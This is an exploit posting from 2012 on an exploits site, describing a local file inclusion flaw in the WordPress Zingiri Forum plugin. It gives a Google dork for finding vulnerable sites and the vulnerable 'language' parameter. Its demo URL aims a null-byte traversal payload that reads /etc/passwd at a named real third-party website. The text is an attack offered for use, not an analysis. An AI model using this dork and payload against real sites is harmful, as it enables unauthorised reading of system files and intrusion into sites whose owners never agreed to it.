Home / exploits WordPress Zingiri Forum Local File Inclusion
Posted on 03 December 2012
# Exploit Title: Wordpress zingiri-forum Local File Inclusion Vulnerability # # Google Dork: inurl:"/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=" # # Date: 2012-30-11 # Exploit Author: Ashiyane Digital Security Team # # Discovered by : Amirh03in # # Tested on: Linux # # Security Risk : MEdium # # Category: Web Application # =================================== =================================== # Location: http://site/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=[Directory or file] # # Demo : http://www.athensys.in/necro/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=/etc/passwd%00 # ======================================= ======================================= Greetz to: My Lord ALLAH =======================================
